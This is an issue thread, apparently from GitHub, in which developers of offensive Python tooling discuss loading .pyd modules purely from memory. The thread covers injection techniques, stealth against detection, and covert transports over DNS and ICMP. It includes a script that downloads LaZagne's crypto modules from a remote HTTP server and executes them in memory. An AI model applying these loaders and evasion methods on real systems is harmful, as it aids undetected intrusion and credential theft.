Full in-memory loading (Feature request)

[rkbennett]

--Shameless plug warning--
I have recently released a memory importing tool that can import both normal python (.py) and python c extension (.pyd) files fully from memory.
--End shameless plug--
With this new functionality, if it isn't too difficult to implement it into this projects structure, you could potentially drop the zip requirement from this project. Feel free to close if that would be needlessly complex or the interest isn't there. If you are interested, the project is https://github.com/rkbennett/od_import.

[naksyn]

Hi! Thanks for reaching out, I really like your work and I'm following for a while.
I'll get my hands dirty on your project as I'll find enough time, for what I've read right now it looks like it could be appicable to the project, however there are some things I would like to reflect upon first.

1. MemoryModule technique can be a bit noisy nowadays: I went over memimport some time ago when I was trying to find a way to load pyd in memory, and fond out that indeed it's using MemoryModule technique under the hood. This sparked my interest to port that technique to Python and to dig deeper on memory injections because MM leaves RWX regions in memory on a private commit, and that might be a problem in different scenarios.
2. Flexibility: I would like to provide flexibility in the way the injection of pyd is done, so that a Pyramid user can choose to inject with MM or with ModuleShifting or whatever is available. The only way I found to do that is to write ctypes code and get to the core of the injection technicalities, without relying only on an importer module that can surely get the job done, but it's not so flexible in terms of injection techniques. Importing pyds in memory and also tuning injections brings quite a good amount of complexity and need to test. So I'm still not sure if this is the right way for the project because I don't want to increase usage complexity too much. I am investigating other promising approaches, in terms of stealthiness, that can obtain pretty much the same result of importing python modules, but without actually importing any pyd but keeping flexibility and simplicity.
3. Dependencies effort estimate importing pyds in memory would require some effort on dependencies side that I would need to estimate to get a better picture of the added complexity.

Having said that, your project could be a nice feature to add, along with an OPSEC warning maybe, so that users can choose which way to walk (inject pyds with MM, drop or load from UNC).
Thank you for informing me, I'll experiment and think about your suggestion. I'll keep the issue open till then.

Cheers,

[rkbennett]

Quick update to this, I just released a new POC that I'm working on called pythonmemimporter, which I've found a way to load python modules with raw python using just a function pointer to a python pyd's init function (loaded with pythonmemorymodule). I have some local code where I've gotten this working with several package's pyd, aside from one which is my pyclrhost module. So because this uses your pythonmemorymodule, it should be able to do whatever memory protections you're providing with that. Let me know your thoughts on that.

[rkbennett]

I should also say, it's not currently integrated into my od_import package officially, but I have tested imports with it for things like lazagne (using pycrypto)

[naksyn]

Hey, this looks great!
Haven't yet played with it but I think it can definitely be integrated in Pyramid and it'll be cool to also have the option to load pyds from memory.
I'll try to get it into Pyramid and create a dev branch for this feature. Of course your help will be much appreciated to get this running :)
That's a cool contribution, thanks a lot!

[rkbennett]

Let me know if/when you need help on something. I do have another repo that I should be releasing soon that will replicate my pyclrhost functionality with raw python as well. So CLR hosting without the need of any compiled code. In this instance it wraps a custom clr-loader netfx binary so that you can interact with pythonnet through COM.

[naksyn]

I've done few tests using pythonmemimport but till now haven't managed to make it work. I used the example in the readme to load some pyds and after some debugging I found that it's crashing at statement return self.module() in import_module function.
Before that statement, things looks ok:

Any clues?

[rkbennett]

Which version of python are you using?

[rkbennett]

Sorry, also which pyds have you tried, that way I can test locally

[naksyn]

I am debugging using 3.11.3 embedded, but got same behaviour with 3.10.9 embedded. I am trying to import the pyds used by LaZagne:
file_list = [

r"/Cryptodome/Cipher/_raw_cbc.pyd",
r"/Cryptodome/Cipher/_raw_cfb.pyd",
r"/Cryptodome/Cipher/_raw_ofb.pyd",
r"/Cryptodome/Cipher/_raw_ctr.pyd",
r"/Cryptodome/Util/_strxor.pyd",
r"/Cryptodome/Hash/_BLAKE2s.pyd",
r"/Cryptodome/Hash/_SHA1.pyd",
r"/Cryptodome/Hash/_SHA256.pyd",
r"/Cryptodome/Hash/_MD5.pyd",
r"/Cryptodome/Protocol/_Salsa20.pyd",
r"/Cryptodome/Util/_scrypt.pyd",
r"/Cryptodome/Util/_cpuid.pyd",
r"/Cryptodome/Hash/_ghash_portable.pyd",
r"/Cryptodome/Hash/_ghash_clmul.pyd",
r"/Cryptodome/Cipher/_raw_ocb.pyd",
r"/Cryptodome/Cipher/_raw_aes.pyd",
r"/Cryptodome/Cipher/_raw_aesni.pyd",
r"/Cryptodome/Cipher/_raw_des.pyd",
r"/Cryptodome/Cipher/_ARC4.pyd",
r"/Cryptodome/Cipher/_raw_des3.pyd"
]

however, the issue appears from the starting item in the list r"/Cryptodome/Cipher/_raw_ecb.pyd".

[rkbennett]

Okay, so that's actually normal. The way they handle those pyds in Crypto and Cryptodome is different. They don't use the normal import mechanism because they're pyds in name only. So for those I do have some other stuff I do in od_import to make them work. Namely function stomping some of the cffi functions. If you check out my dev branch for od_import I handle them in the hooks.py

[rkbennett]

If you wanted to give me some requirements I could add some features to make od_import suite your use case instead of having to reinvent the wheel. I know you have some stuff that you do with encryption/XOR , if I remember correctly at least. If you want to try out od_import with the pythonmemimporter support that's in the dev branch and I'd be more than happy to add an obfuscation engine to it, it's been on my roadmap for a bit anyway.

[naksyn]

the base case we can work on is on getting LaZagne pyds to just load so that after the loading process we can access their functions. In the script below that I used for testing I was downloading the pyds from a simple http.server and tried to import with pythonmemimporter. Once we can make a base case like this work, the main goundwork for getting it into Pyramid should be done.

Could you help in getting this base case working?
If you can please make some needed additions to pythonmemimporter trying to keep it as simple as possible, so we can use this as a single .zip dependency to be loaded during the Pyramid process.

Thanks!

import sys
import os
script_dir = os.path.dirname(os.path.abspath(__file__))
print(script_dir)
if script_dir not in sys.path:
    sys.path.append(script_dir)

import importlib.util
import urllib.request
import time
from pythonmemimporter import _memimporter
_memimporter = _memimporter()

# Create a custom meta hook (required for getting loader assocaited to spec, this example does not work with python 3.12+)

server="http://192.168.178.86:8000"

file_list = [
r"/Cryptodome/Cipher/_raw_ecb.pyd",
r"/Cryptodome/Cipher/_raw_cbc.pyd",
r"/Cryptodome/Cipher/_raw_cfb.pyd",
r"/Cryptodome/Cipher/_raw_ofb.pyd",
r"/Cryptodome/Cipher/_raw_ctr.pyd",
r"/Cryptodome/Util/_strxor.pyd",
r"/Cryptodome/Hash/_BLAKE2s.pyd",
r"/Cryptodome/Hash/_SHA1.pyd",
r"/Cryptodome/Hash/_SHA256.pyd",
r"/Cryptodome/Hash/_MD5.pyd",
r"/Cryptodome/Protocol/_Salsa20.pyd",
r"/Cryptodome/Util/_scrypt.pyd",
r"/Cryptodome/Util/_cpuid.pyd",
r"/Cryptodome/Hash/_ghash_portable.pyd",
r"/Cryptodome/Hash/_ghash_clmul.pyd",
r"/Cryptodome/Cipher/_raw_ocb.pyd",
r"/Cryptodome/Cipher/_raw_aes.pyd",
r"/Cryptodome/Cipher/_raw_aesni.pyd",
r"/Cryptodome/Cipher/_raw_des.pyd",
r"/Cryptodome/Cipher/_ARC4.pyd",
r"/Cryptodome/Cipher/_raw_des3.pyd"
]

class memory_importer:
	def __init__(self,name):
		self.name = name
	def find_module(self, module, path=None):
		if module == self.name:
			return self
	def load_module(self, name):
		pass
        
for file_name in file_list:
	
	try:
		print("[*] Loading in memory module package: " + (file_name.split(server)[-1] ))
			
		request = urllib.request.Request(server + file_name)
				  
		with urllib.request.urlopen(request) as response:
			file_web = response.read()
		
		fullname = file_name.split('/')[-1].split('.')[0] #"_psutil_windows"	
		print(fullname)
		sys.meta_path.insert(0, memory_importer(fullname))
		
		fpath = "/some/fake/path/here"
		spec = importlib.util.find_spec(fullname, fpath)
		
		initname = "PyInit_" + fullname
		mod = _memimporter.import_module(fullname, fpath, initname, file_web, spec)
		
		# Add module to module cache

		sys.modules[mod.__name__] = mod

		# Make module available by module name

		exec(f"{mod.__name__} = sys.modules['{mod.__name__}']")
			

	except Exception as e:
		print(e)

time.sleep(60)

[naksyn]

Okay, so that's actually normal. The way they handle those pyds in Crypto and Cryptodome is different. They don't use the normal import mechanism because they're pyds in name only. So for those I do have some other stuff I do in od_import to make them work. Namely function stomping some of the cffi functions. If you check out my dev branch for od_import I handle them in the hooks.py

I saw that in od_import you are using different transports for delivery. While I think this is cool, in Pyramid I am keeping the transports separated in cradle and in modules. The cradle should be as simple as possible and for this reason I am not importing anything into it. This brings of course limitations, but that's a way to try and keep things loosely coupled.
Recently, in Pyramid dev branch I wrote a wininet API cradle instead of using requests library, so that the cradle and some modules could be used also in NTLM proxy scenarios.

I think the only other delivery methods that are worth implementing beyond HTTP/S is DNS and ICMP and that would require different cradles and modules in order to keep things separated and don't bake constraints into the Pyramid process.
So the way I am currently thinking of it in Pyramid is creating a cradle-dns.py, cradle-icmp.py and try to dynamically patch the modules in the server folders according to the calling cradle. Essentially, instead of importing a package for transport delivery, I am treaging the Pyramid cradle and the modules as different entities that should have a matching transport (and password of course). Regarding HTTP/S, I am moving away from python libraries like requests and using only Wininet API wherever I can.

[rkbennett]

Whew, that was a bit to digest, hopefully I can address all the points:
So for the other transports, they shouldn't be loaded unless you actually go to use them, so it's just dormant code from that regard. If they are still loading then that's just an update on my end, but the intent is that transport functions don't get loaded unless explicitly used.

I also did a refresher of the pyramid code and what od_import could potentially do is be a drop-in for your import hook you define in your modules (at it's heart that's what od_import is). There would be some changes I'd have to make on the od_import side to add functionality for handling your XORing/chacha.

On the point of using window's libraries, I actually have the beginnings of a wrapper for the winhttp library that I've had mostly finished (great minds think alike, I suppose) for several months and done some testing with, but just hadn't made public yet; which I could implement as another option that could be used in the http handler.

Finally, on this issue of pythonmemimporter and pycrypto/pycryptodom, pycrypto(dome) doesn't use the normal python import mechanism, which is why I have a custom patch that is implemented in od_import. They use cffi to do the import of that. That is actually why pythonmemimporter has a dlopen function is for use by the functions I stomp over the cffi functions which do the dlopen calls.

I look forward to hearing your thoughts on all of those, regards.

[rkbennett]

As an update to the third item I touched on, over the weekend I went ahead and finished my winhttp wrapper and implemented it into od_import, so all requests with that import hook can use winhttp now.